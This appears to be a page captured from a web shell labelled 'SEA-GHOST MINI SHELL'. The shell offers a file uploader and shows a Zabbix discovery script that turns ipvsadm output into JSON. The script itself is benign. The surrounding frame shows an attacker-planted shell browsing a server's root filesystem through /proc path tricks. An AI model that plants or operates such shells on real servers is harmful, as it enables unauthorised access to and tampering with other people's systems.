[ SEA-GHOST MINI SHELL]

Path : /proc/2/cwd/proc/2/cwd/proc/2/cwd/proc/2/root/var/lib/zabbix/
FILE UPLOADER :
Current File : //proc/2/cwd/proc/2/cwd/proc/2/cwd/proc/2/root/var/lib/zabbix/ipvsdiscovery.sh

#!/bin/bash

SVC_FLG=1
IFS=$'\n'

TOTAL_LINES=$(sudo /sbin/ipvsadm -Ln |sed -n '4,$p' |awk '{print $1" "$2}' |wc -l)
LINE_NUM=0

echo '{ "data" : ['

for LINE in $(sudo /sbin/ipvsadm -Ln |sed -n '4,$p' |awk '{print $1" "$2" "$3}')
do
  LINE_NUM=$(( $LINE_NUM + 1 ))
  TYPE=`echo ${LINE} | awk '{print $1}'`
  IP_INFO=`echo ${LINE} | awk '{print $2}'`
  if [ "${TYPE}" = "FWM" ] ; then
    CUR_TYPE=${LINE}
    SVC_FLG=0
  elif [ "${TYPE}" = "->" -a ${SVC_FLG} = 0 ] ; then
    echo -n "{ \"{#VTYPE}\" : \"${CUR_TYPE}\",\"{#RIPINFO}\" : \"${IP_INFO}\" }"
    if [ $LINE_NUM != $TOTAL_LINES ];then
      echo ", "
    fi
  fi
done
echo " ] }"


SEA-GHOST - SHELL CODING BY SEA-GHOST